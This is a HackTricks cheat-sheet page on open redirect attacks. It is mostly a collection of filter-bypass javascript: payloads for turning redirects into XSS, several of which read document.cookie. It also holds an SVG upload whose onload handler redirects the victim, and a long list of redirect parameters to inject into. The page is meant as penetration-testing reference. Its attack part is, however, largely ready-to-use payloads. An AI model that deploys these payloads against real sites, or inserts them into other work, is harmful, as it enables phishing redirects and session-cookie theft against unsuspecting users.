Open Redirect - HackTricks

# Open Redirect

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Open redirect

### Redirect to localhost or arbitrary domains

URL Format Bypass

### Open Redirect to XSS

    #Basic payload, javascript code is executed after "javascript:"
    javascript:alert(1)

    #Bypass "javascript" word filter with CRLF
    java%0d%0ascript%0d%0a:alert(0)

    # Abuse bad subdomain filter
    javascript://sub.domain.com/%0Aalert(1)

    #Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
    #This bypasses FILTER_VALIDATE_URL os PHP
    javascript://%250Aalert(1)

    #Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
    javascript://%250Aalert(1)//?1
    javascript://%250A1?alert(1):0

    #Others
    %09Jav%09ascript:alert(document.domain)
    javascript://%250Alert(document.location=document.cookie)
    /%09/javascript:alert(1);
    /%09/javascript:alert(1)
    //%5cjavascript:alert(1);
    //%5cjavascript:alert(1)
    /%5cjavascript:alert(1);
    /%5cjavascript:alert(1)
    javascript://%0aalert(1)
    <>javascript:alert(1);
    //javascript:alert(1);
    //javascript:alert(1)
    /javascript:alert(1);
    /javascript:alert(1)
    \j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
    javascript:alert(1);
    javascript:alert(1)
    javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
    javascript:confirm(1)
    javascript://https://whitelisted.com/?z=%0Aalert(1)
    javascript:prompt(1)
    jaVAscript://whitelisted.com//%0d%0aalert(1);//
    javascript://whitelisted.com?%a0alert%281%29
    /x:1/:///%01javascript:alert(document.cookie)/
    ";alert(0);//

## Open Redirect uploading svg files

    <code>
    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <svg
    onload="window.location='http://www.example.com'"
    xmlns="http://www.w3.org/2000/svg">
    </svg>
    </code>

## Common injection parameters

    /{payload}
    ?next={payload}
    ?url={payload}
    ?target={payload}
    ?rurl={payload}
    ?dest={payload}
    ?destination={payload}
    ?redir={payload}
    ?redirect_uri={payload}
    ?redirect_url={payload}
    ?redirect={payload}
    /redirect/{payload}
    /cgi-bin/redirect.cgi?{payload}
    /out/{payload}
    /out?{payload}
    ?view={payload}
    /login?to={payload}
    ?image_url={payload}
    ?go={payload}
    ?return={payload}
    ?returnTo={payload}
    ?return_to={payload}
    ?checkout_url={payload}
    ?continue={payload}
    ?return_path={payload}
    success=https://c1h2e1.github.io
    data=https://c1h2e1.github.io
    qurl=https://c1h2e1.github.io
    login=https://c1h2e1.github.io
    logout=https://c1h2e1.github.io
    ext=https://c1h2e1.github.io
    clickurl=https://c1h2e1.github.io
    goto=https://c1h2e1.github.io
    rit_url=https://c1h2e1.github.io
    forward_url=https://c1h2e1.github.io
    @https://c1h2e1.github.io
    forward=https://c1h2e1.github.io
    pic=https://c1h2e1.github.io
    callback_url=https://c1h2e1.github.io
    jump=https://c1h2e1.github.io
    jump_url=https://c1h2e1.github.io
    click?u=https://c1h2e1.github.io
    originUrl=https://c1h2e1.github.io
    origin=https://c1h2e1.github.io
    Url=https://c1h2e1.github.io
    desturl=https://c1h2e1.github.io
    u=https://c1h2e1.github.io
    page=https://c1h2e1.github.io
    u1=https://c1h2e1.github.io
    action=https://c1h2e1.github.io
    action_url=https://c1h2e1.github.io
    Redirect=https://c1h2e1.github.io
    sp_url=https://c1h2e1.github.io
    service=https://c1h2e1.github.io
    recurl=https://c1h2e1.github.io
    j?url=https://c1h2e1.github.io
    url=//https://c1h2e1.github.io
    uri=https://c1h2e1.github.io
    u=https://c1h2e1.github.io
    allinurl:https://c1h2e1.github.io
    q=https://c1h2e1.github.io
    link=https://c1h2e1.github.io
    src=https://c1h2e1.github.io
    tc?src=https://c1h2e1.github.io
    linkAddress=https://c1h2e1.github.io
    location=https://c1h2e1.github.io
    burl=https://c1h2e1.github.io
    request=https://c1h2e1.github.io
    backurl=https://c1h2e1.github.io
    RedirectUrl=https://c1h2e1.github.io
    Redirect=https://c1h2e1.github.io
    ReturnUrl=https://c1h2e1.github.io

## Code examples

#### .Net

    response.redirect("~/mysafe-subdomain/login.aspx")

#### Java

    response.redirect("http://mysafedomain.com");

#### PHP

    <?php
    /* browser redirections*/
    header("Location: http://mysafedomain.com");
    exit;
    ?>

## Tools

- https://github.com/0xNanda/Oralyzer

## Resources

- In https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect you can find fuzzing lists.
- https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html
- https://github.com/cujanovic/Open-Redirect-Payloads
- https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.